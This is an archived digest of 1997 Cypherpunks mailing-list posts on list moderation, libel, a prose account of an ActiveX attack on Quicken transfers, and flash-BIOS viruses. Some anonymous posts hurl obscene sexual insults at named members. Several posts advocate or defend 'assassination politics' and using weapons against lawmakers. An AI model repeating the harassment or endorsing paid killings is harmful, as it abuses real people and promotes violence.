the "Cypherpunks" list and subscribe to the "Cypherpunks-Unedited) (or
whatever it is called) list? Because of my overall anger with the issues
raised above. The imperiousness of the decision, the notion of favoring
Sandy's tastes in a more "first class" way than, say, the tastes of Eric
Blossom, Ray Arachelian, or, for that matter, me.  "Some censors are more
equal than others."

* The decision to "moderate" (censor) the Cypherpunks list is powerful
ammunition to give to our opponents, and Vulis is certainly gleeful that
his fondest wishes have been realized. And it won't work. People are
consuming even more bandwidth arguing the merits of John's decision, the
traffic is presumably being slowed down by the need for Sandy to wade
through the traffic and stamp "Approved" or "Rejected" on what he glances
at, and people are "testing the limits" of what they can say and what they
can't say.

* It also sends a message that people are incapable of filtering out bad
speech, that they need a censor to do it for them. (Again, I have no
problem with competing "screeners," a la having Ray, Eric, or David
Sternlight filtering what they think is OK and what is not. Let a thousand
filtering services bloom.) But the clear message by having Sandy censor the
main list (the default list, the list name with the main name, the list we
all know about, etc.) is that Cypherpunks need Big Brother to shelter them
from Bad Thoughts, from Naughty Words, from Evil Flames, and from Impure
Desires. Foo on that.

* Psychologists might point to random reinforcement, even to the effects of
terror. How many of us are likely to write controversial posts knowing that
Sandy might wake up having a "bad hair day" and thus reject our posts? How
many will begin to skew their opinions to match those of Sandy? (I would
venture a guess that a Duncan Frissell would almost certainly get a
libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
get a leftist rant past him.)

* Those who want "less noise" should subcontract with the filter services
of their own choosing. This is the "Cypherpunk Way." Having Sandy as the
censor is the easy way out.

* By the way, the moderated list "RISKS"  works pretty well. But it is not
a _discussion_ group. It is, rather, a digest of news items related to
computer and technology risks, with some discussion by various
contributors, and with a long turnaround time of a few issues per week,
tops. Peter Neumann also devotes a lot of time to making it run smoothly
and bases part of his professional career on running it. I surmise that
Sandy is not prepared to do the same. Nor would this be a good idea, as
this would kill the spirit of the debate.

* Had there been a debate about the policy, I can think of several
approaches I'd like better. But inasmuch as John made it clear that there
would be no debate (and, perhaps as part of the "problem," John has not
really been a active member of the mailing list, in terms of participating
in the debates), this is all moot.

In any case, my several years with the list have taken a huge amount of my
time. Given the way this whole thing was handled, and the way the list is
degenerating even further, it looks like it's good that I'm moving on to
other things.


* To summarize:

- the decision to censor the list was made without any discussion on the
list, without any discussion with at least some of the longterm core
contributors, and was presented as a "fait accompli."

- while John has every right to do with his hardware as he wishes, he does
not "own" the Cypherpunks group (though whether he owns the "list" is a
semantically debatable point)

- whatever our group once was, or still is, is not dependent on having a
particular mailing list running on someone's home machine...and it cannot
be claimed that any person "owns" the Cypherpunks group.

- there is some talk of creating another Cypherpunks list, on other
machines; I don't know whether or not this will fly, or if I'll devote any
time to such lists.

- the effect of censorship, such as I have seen it so far, is not producing
a better list. In fact, as I would have expected, it is producing a more
boring and sheltered list.


And so there you have it.

I had no plans to set down my views, feeling it was a waste of my time and
your time. Rather than foam and rant the way some did (and Vulis must have
posted 100 messages on the subject), I chose to simply make my exit,
quickly.

But as I have recently seen several mentions of my absence (including a
particularly complimentary comment from Asgaard--thanks), I do feel I owe
it to you all to explain my views.

Which I have done. Have a nice year, and a nice millenium in a couple of years.


--Tim May




Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 2 Feb 1997 15:52:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Electronic Funds Transfer without stealing PIN/TAN
Message-ID: <v03007805af1ab1ede1f0@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel@intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Sun, 2 Feb 1997 15:03:25 +0000
From: Rachel Willmer <rachel@intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Electronic Funds Transfer without stealing PIN/TAN

--- From RISKS digest ---

Date: 1 Feb 1997 05:12:02 GMT
From: weberwu@tfh-berlin.de (Debora Weber-Wulff)
Subject: Electronic Funds Transfer without stealing PIN/TAN

The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television
show broadcast the previous evening on which hackers from the Chaos Computer
Club demonstrated how to electronically transfer funds without needing a PIN
(Personal Identification Number) or TAN (Transaction Number).

Apparently it suffices for the victim to visit a site which downloads an
ActiveX application, which automatically starts and checks to see if
Quicken, a popular financial software package that also offers electronic
funds transfer, is on the machine. If so, Quicken is given a transfer order
which is saved by Quicken in its pile of pending transfer orders. The next
time the victim sends off the pending transfer orders to the bank (and
enters in a valid PIN and TAN for that!)  all the orders (= 1 transaction)
are executed -> money is transferred without the victim noticing!

The newspaper quotes various officials at Microsoft et al expressing
disbelief/outrage/"we're working on it". We discussed this briefly in class
looking for a way to avoid the problem. Demanding a TAN for each transfer is
not a solution, for one, the banks only send you 50 at a time, and many
small companies pay their bills in bunches. Having to enter a TAN for each
transaction would be quite time-consuming. Our only solution would be to
forbid browsers from executing any ActiveX component without express
authorization, but that rather circumvents part of what ActiveX is intended
for.

A small consolation: the transfer is trackable, that is, it can be
determined at the bank to which account the money went. Some banks even
include this information on the statement, but who checks every entry on
their statements...

Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str. 10,
13353 Berlin GERMANY weberwu@tfh-berlin.de <http://www.tfh-berlin.de/~weberwu/>

--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel@intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation
                       "We develop Java Commerce Solutions"




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 2 Feb 1997 14:55:23 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702021555.HAA25423@toad.com>
Message-ID: <199702021659.QAA05236@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 2 Feb 1997 16:57:31 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
In-Reply-To: <199702020956.BAA16024@toad.com>
Message-ID: <3.0.1.32.19970202164850.005fdd50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:55 PM 2/1/97 -0500, Adam Shostack wrote:
>	More seriously, that estimate is the cost of breaking DES on
>custom hardware, based on Wiener's figures.  Ian got RC4-40 in 3.5
>hours on I don't know how much hardware, not a lot of it custom, AFAIK.

http://now.cs.berkeley.edu is the home page for the 
Network Of Workstations CPU farm.  Mostly Suns with some recent
generation of Sparc chip.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 2 Feb 1997 17:22:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [OFF-TOPIC] Newt's phone calls
Message-ID: <199702030122.RAA19571@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dipshit Viscera K<rap> Of The Month will fuck anything that
moves, but he'd rather be fucking his own mother's dead body.

 ^-^-^-@@-^-^-^
      (..)     Dipshit Viscera K<rap> Of The Month






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 2 Feb 1997 15:28:24 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702021555.HAA25423@toad.com>
Message-ID: <199702021732.RAA05665@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702021555.HAA25423@toad.com>, on 02/02/97 at 09:34 AM,
   "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:


>ichudov@algebra.com (Igor Chudov @ home) writes:

>> Dr.Dimitri Vulis KOTM wrote:
>> > Bill Stewart <stewarts@ix.netcom.com> writes:
>> > > On the other hand, if the "repairman" replaced your pgp executable
>> > > with version 2.6.3kgb, which uses your hashed passphrase as the
>> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
>> > > or added a small radio transmitter to your keyboard, or whatever.
>> > > Depends on your threat model.  If you need to be paranoid,
>> > > they've already gotten you....
>> >
>> > If you're really paranoid, you can boot from a clean floppy and
>> > reinstall everything from your backup tapes. You do have a
>> > contingency plan in case your hard disk goes bad, or gets a
>> > virus, don't you? Well, if you're in doubt, exercise it.
>>
>> And what if the repairman replaces BIOS ROM chips with KGBios?

>On some computers it's possible to add executable code to the boot
>sequence without replacing the actual ROM chip because they're
>rewritiable. Examples: most Sun boxes; intel motherboards with 'flash
>bios'.

V-Communications has a nice Bios Pre-Processor for their dissasembler for
anyone intrested it playing with their bios code. Most newer MB's come with
Flash Bios and the software to Flash the chip is available for download
from the Manufacture. I'v gone and tinkered around with the bios on a
couple of my AMI motherboards.

Flash bios does open the possibility for a virus infection of ones bios. I
have had several intresting discussions with the AMI programmers about
this. IMHO any device that has flash bios should have a jumper on the
circuit board to enable/disable the flash option. I have not seen anyone
that is doing this with their products.

The MB bios is relativly safe as the flash process happens pre-post but
considering that flash bios can be found in almost all computer prerifials
the potential for harm is there. Currently on my system I have flash bios
on the HD's, modem's, NIC's, & SCSI card's. All are a potential hiding spot
for a virus.


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 

 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 17:51:54 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <01BC1132.60AFC420@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Attila T. Hun

+Yes, if the Magna Carta guaranteed a right and the forefathers fought
+to  secure it, why should any of us ever have to lift a finger in our
+own  defense.

    seems to me Jefferson said it took a rebellion every 20 years or so
    to keep democracy awake...  other than presuming your answer is
    tongue in cheek (not elsewhere), complacency == welfare.
.........................................................


Definitely  tongue-in-cheek.    Just noting that if a thing has been 
"guaranteed", this means (by my interpretation) that it is a done deal and 
nothing further need be done about it - it's established and automatic.

But obviously a "right", though it be a basic operant in Nature and 
existent as an abstract concept in some people's minds, is not recognized 
either naturally or formally by many.

Therefore, as Jefferson remarked, we cannot depend on our forefather's 
vision to uphold our honor but must re-establish it as needed.

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 17:52:02 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: FW: Cyphernomicon by Tim May
Message-ID: <01BC1132.6711FB80@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


(meant to send this to the list earlier)
From:	Toto

  Personally, I could care less when people want to play footsie-games
with flaming, but I think it points out the ludicrousness of having
a moderator limiting people to 'childish' insults.
  I prefer someone screaming at me what a cocksucker I am.
...................................................

Now, you know it has to do with proportion:  if Jim Choate, in the course 
of an ADD-induced discourse on the reprehensability of libelous 
indiscretions, happens to let out a "Bessie", it's going to be less 
disconcerting than to read continuous content-less alerts consisting of 
nothing but declarations against your personal virtue.   At the very least, 
the one provides some cause for educated clarification, while the other 
leaves nothing to say, but only to filter.

However, it's 3:00 a.m. PST and Sandy's asleep right now, so if you really 
feel like flaming somebody uninhibitedly, now's the time to get past the 
flame-bot (hee-hee).

=

 Ray Hettinga forwards these long, literate missives advertising
this-or-that million dollar a plate conferences, but when he chose
to insult me with his own words, the result was an immature
blathering which showed questionable literary skills.
.............................................

Bad, Ray  -  Bad!

=

  It would be nice, however, to try to twist the rest of the list
around to my own world-view. It gets lonely here in the 'rubber room'
at the Home, and I could use some company.
.............................................

You're at liberty to try.   Why don't you start with Messrs. Jim and Jim.
(but, wait  -  let me set up my Inbox Rules.....)

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Sun, 2 Feb 1997 09:12:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <199702020959.BAA16083@toad.com>
Message-ID: <Pine.HPP.3.91.970202180006.25378A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 2 Feb 1997, Declan McCullagh wrote:

>That question is one for Tim to answer, but I should point out that

TC May hasn't posted in a month or so. I miss his posts. Without
any official role he was the de facto moderator, mostly by example
but also by pointing out the core of the issues when things went
astray, for all those years. Did he mention going away for so long
in any of his latest posts? I remember 'for the holiday season'
but that is long gone. I hope he hasn't left the list for good,
being pissed off by Gilmore's choice of moderator(s) or some
such reason.

Asgaard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 18:31:36 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702030110.TAA24381@manifold.algebra.com>
Message-ID: <32F54DB1.5D6F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> jim bell wrote:
> > Better yet, set up a system to encourage the public to USE those guns (and
> > other weapons) to get rid of the people who pass such laws, and the problem
> > is solved.

> How about this scenario: I borrow 1 million dollars from, let's say,
> Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> assassination bot and arrange him to be murdered.

Igor, there's an old saying in this country: the best way to lose a
friend is to lend him money.

> Another story: suppose that I negligently caused fire that destroys
> house of, say, Toto. Toto knows that if he sues me, I can arrange him
> murdered for the amount less than the amount of damages. As a result,
> he refrains from suing me, or (if he is a mean person) pays additional
> money to have me murdered. A suit would probably be a much better outcome.

Sometimes you have to pay a steep price for negligence, like neglecting
to watch how close you get to the edge of the road on, say, Topanga
Canyon or one of those (long way down).  Now, since people *know* to
be extra careful on the canyon roads, don't you think by the same
analogy they'd be extra careful with other things when AP is running?

> Another story: suppose that OKSAS hired me to work for her, but then
> our relationships go south and she fires me. Again, her fate is very
> unclear, although I would probably spare her life if it were she.

If she does it right, with empathy, there is not likely to be a
problem.  On the other hand, if she bad-mouths you to prospective
employers or customers you want to do business with, you might be
inclined to hit her.  This happens a lot when AP is not available.

> The bottom line is, it becomes very hard to do ANYTHING that disappoints
> at least somebody. That can lead to a lot of inefficiencies.

To get rid of everyone who pisses you off, you'd have to pay a lot
more money than you'll ever have, therefore not a problem.  Those
people who have such money are not going to bump off very many more
people than they already do, because:

1. They need the people to make money off of (Mafia rule #4, never
   kill someone who owes you money [or is a money source]).

2. Rich people have a lot of eyes on them, and it would be easy to
   triangulate a series of murders to them, even without hard evidence.
   In an AP world, this triangulation/correlation would be enough to
   convince people to either shun this killer, or kill him outright.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 10:39:16 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
In-Reply-To: <01BC10C5.A58834A0@king1-10.cnw.com>
Message-ID: <199702021838.LAA06964@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970202:0457 blanc <blancw@cnw.com> said:

+Yes, if the Magna Carta guaranteed a right and the forefathers fought
+to  secure it, why should any of us ever have to lift a finger in our
+own  defense.

    seems to me Jefferson said it took a rebellion every 20 years or so 
    to keep democracy awake...  other than presuming your answer is 
    tongue in cheek (not elsewhere), complacency == welfare.

+My contribution to this thread from the Cpunk History & Philosophy 
+Division:   a Jewish saying from a book I glanced through of couple of 
+weeks ago, something like:
+
+	"What good is it to a man who has lost his sight
+	  that his ancestors had perfect vision."

    not a lot, but that does not mean he should scorn those who have
    managed to retain their sight. your saying is rather characteristic 
    of the genre --best glamourized in Mad magazine. 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 17:03:52 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com>
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020201.UAA00977@einstein>
Message-ID: <199702030103.SAA17943@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:2001 Jim Choate <ravage@einstein.ssz.com> said:

+I further hold that one of the current legal practices based on
+precidence which MUST be replaced is our system dealing with
+defamation. I further hold that our current system of legal
+representation is inherently flawed and prevents equal representation
+under the law.

    BULLSHIT

    why don't you toll the bell for freedom while you're at it, and 
    think about 'for whom the bell tolls.' --it tolls for thee.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 18:49:52 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <v03007800af1ab0e7d67e@[207.167.93.63]>
Message-ID: <32F55207.21E5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> With no false modesty I tried awfully hard to compose
> substantive essays on crypto-political topics, often more than one per day.
> (Others did too, but they seem to be tapering off as well, leaving the list
> to be dominated by something called a "Toto," the "O.J. was framed!"
> ravings of Dale Thorn,

Dale, that's me!

> * To summarize:
> - the decision to censor the list was made without any discussion on the
> list, without any discussion with at least some of the longterm core
> contributors, and was presented as a "fait accompli."
> - while John has every right to do with his hardware as he wishes, he does
> not "own" the Cypherpunks group (though whether he owns the "list" is a
> semantically debatable point)

Which is exactly the point I labored so long on while Tim May was
sitting on the sidelines.

> - whatever our group once was, or still is, is not dependent on having a
> particular mailing list running on someone's home machine...and it cannot
> be claimed that any person "owns" the Cypherpunks group.

Ditto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 17:03:43 -0800 (PST)
To: Jim Choate <toto@sk.sympatico.ca>
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020418.WAA01210@einstein>
Message-ID: <199702030103.SAA17931@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    are you really saying we must dispose of our time honoured 
    tradition of "the best justice money can buy..." ???  say it is not 
    so; where would our legal system be without body trading?

    as for the communist/socialist ideal of work/need/want where want 
    is suppressed --it does not work; never has, never will. even the 
    religious orders have not made it work over time (other than by 
    fear).

on or about 970201:2218 Jim Choate <ravage@EINSTEIN.ssz.com> said:

+1.  Removal of the lawyer from the ultimate choice of whether the case
+    should be pursued.

    whew, open the floodgates. free lunch.

+2.  The minimalization of the defendants and plaintiffs monetary
+    resources
+    by removing them from the legal system by choosing the legal
+    representation of both parties by lot.

    damn, free dinner, too.

+3.  By moving the responsibility of police to provide evidence from the
+    prosecution to the court we equalize the impact of irregularities
+    in evidence selection as well as minimizing the sorts of evidence
+    disputes which so impact some trials (ie OJ Simpson).

    my, we're on a roll, aren't we?

+4.  By the implimentation of a bond proviso on the part of the
+    plaintiff
+    the system provides a check and balance reducing nuisance cases as
+    well as reducing the taxation load on the citizenry.

    this is already a factor in the need to pay an attorney his 
    ridiculous fees. being required to post a plaintiff's bond does 
    nothing to equalize the rights of the have nots --most of whom seem 
    to have unlimited resources from the dogooders anyway.

    Get real, Jim.  it may not be the best system, but other than 
    enforcing the principles on which it is founded, and stripping 
    attorney privileges to a percentage of the take, the system works 
    quite well; corruption on the bench is whose fault?  ours, just 
    like the excesses in Washington are our fault.

    it is _our_ failure to insist on clean, representative government 
    and judiciary.  and to convert to a pooled system for equality is 
    not going to stop graft -it is built in to human greed.  

    stop apathy on _our_ part, and we will stop graft.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 18:53:21 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC113A.E314D560@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Steve Schear

I sincerely doubt that many would use AP to right small slights, anymore
than many now kill others for the same reasons.  The world has always been
inhabited by bullies and tyrants who cared little of what harm they caused
others.  An AP system would quickly eliminate bullies and tyrants.
....................................................

Some of them.  But like an infection which can be potentialy killed with 
antibiotics, ignoring the unhealthy conditions which made it possible to 
establish itself will frustrate the attempts to prevent the phenomena of 
its recurrence.

    ..
Blanc
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 2 Feb 1997 17:14:54 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702022225.OAA03364@toad.com>
Message-ID: <199702030110.TAA24381@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> 
> Better yet, set up a system to encourage the public to USE those guns (and 
> other weapons) to get rid of the people who pass such laws, and the problem 
> is solved.
> 

How about this scenario: I borrow 1 million dollars from, let's say,
Phill Hallam-Baker. Not wanting to pay it back, I pay to the
assassination bot and arrange him to be murdered.

Another story: suppose that I negligently caused fire that destroys
house of, say, Toto. Toto knows that if he sues me, I can arrange him
murdered for the amount less than the amount of damages. As a result,
he refrains from suing me, or (if he is a mean person) pays additional 
money to have me murdered. A suit would probably be a much better outcome.

Another story: suppose that OKSAS hired me to work for her, but then
our relationships go south and she fires me. Again, her fate is very
unclear, although I would probably spare her life if it were she. 

The bottom line is, it becomes very hard to do ANYTHING that disappoints 
at least somebody. That can lead to a lot of inefficiencies.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 2 Feb 1997 17:05:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Lucifer
Message-ID: <199702030105.RAA14828@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Deflated Vermin K`adaver'OTM has been fired for masturbating in
front of his boss.

    o     o
 --/--   <~\ Deflated Vermin K`adaver'OTM
 __\    _/\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 2 Feb 1997 17:18:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: None[ANNOUNCEMENT] Secure envelopes
Message-ID: <199702030117.UAA31219@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[rook] May's aberrant sexual life has 
negatively impacted his mental integrity.

              ,,,
         -ooO(o o)Ooo- Tim C[rook] May
              (_)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 2 Feb 1997 20:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: VOICE STRESS ANALYSIS
Message-ID: <199702030426.UAA15221@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


Awhile back we were discussing voice-stress analysis; just got this item on 
the subject; he said it's okay to post it.



>From: Spectre334@aol.com
>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST)
>To: jimbell@pacifier.com
>cc: BLAMES2778@aol.com, AFSCA@aol.com, JLeek426@aol.com
>Subject: VOICE STRESS ANALYSIS
>
>MR. BELL:
>
>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO,
>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW.
>
>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL.  IT
>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS.
> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN
>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS.
>
>AMONG ITS OTHER BENEFITS, VSA REQUIRES NO INTIMIDATING HOOKUP TO THE
>SUBJECT'S BODY, IN ORDER TO MEASURE THE LEVEL OF STRESS.  IT CAN BE CONDUCTED
>VIRTUALLY ANYWHERE - EVEN WHERE NO ELECTRICITY IS PRESENT.  PERHAPS MOST
>PERTINENT TO YOUR QUESTION, VSA CAN BE SOMETIMES PERFORMED ON PEOPLE WHO ARE
>NO LONGER AROUND, THROUGH THEIR RECORDED VOICES.  THIS IS CALLED "NARRATIVE
>ANALYSIS" AND IS SOMEWHAT TOUGHER THAN THE BASIC QUESTION - AND -ANSWER
>APPROACH, SINCE THE EXAMINER CANNOT CONTROL THE CONTENT AND SEQUENCE OF
>QUESTIONS, IF THE SOURCE IS A PAST RECORDING.
>
>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY
>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT
>AGENCIES IN DECEMBER, 1996.  THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO
>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR
>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS.
>
>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A
>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT
>DATA ON A ROLL OF THERMAL PAPER.  THOSE DAYS ARE GONE FOREVER.  
>
>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS,
>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND
>FAX NUMBER.
>
>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS.
>
>SINCERELY,
>
>TOM
>
>(THOMAS F. MCGRAW)
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Sun, 2 Feb 1997 17:40:35 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702030110.TAA24381@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970202203822.17818A-100000@asimov.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 2 Feb 1997, Igor Chudov @ home wrote:

> jim bell wrote:
> > 
> > Better yet, set up a system to encourage the public to USE those guns (and 
> > other weapons) to get rid of the people who pass such laws, and the problem 
> > is solved.
> > 
> 
> How about this scenario: I borrow 1 million dollars from, let's say,
> Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> assassination bot and arrange him to be murdered.
> 
> Another story: suppose that I negligently caused fire that destroys
> house of, say, Toto. Toto knows that if he sues me, I can arrange him
> murdered for the amount less than the amount of damages. As a result,
> he refrains from suing me, or (if he is a mean person) pays additional 
> money to have me murdered. A suit would probably be a much better outcome.
> 
> Another story: suppose that OKSAS hired me to work for her, but then
> our relationships go south and she fires me. Again, her fate is very
> unclear, although I would probably spare her life if it were she. 

	Chudov , do you love me?
> 
> The bottom line is, it becomes very hard to do ANYTHING that disappoints 
> at least somebody. That can lead to a lot of inefficiencies.
> 
> 	- Igor.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 2 Feb 1997 18:59:43 -0800 (PST)
To: dthorn@gte.net
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <32F54DB1.5D6F@gte.net>
Message-ID: <199702030241.UAA25010@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> 
> > How about this scenario: I borrow 1 million dollars from, let's say,
> > Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> > assassination bot and arrange him to be murdered.
> 
> Igor, there's an old saying in this country: the best way to lose a
> friend is to lend him money.

Phill, in this example, is not my friend, but a lender.

> > Another story: suppose that I negligently caused fire that destroys
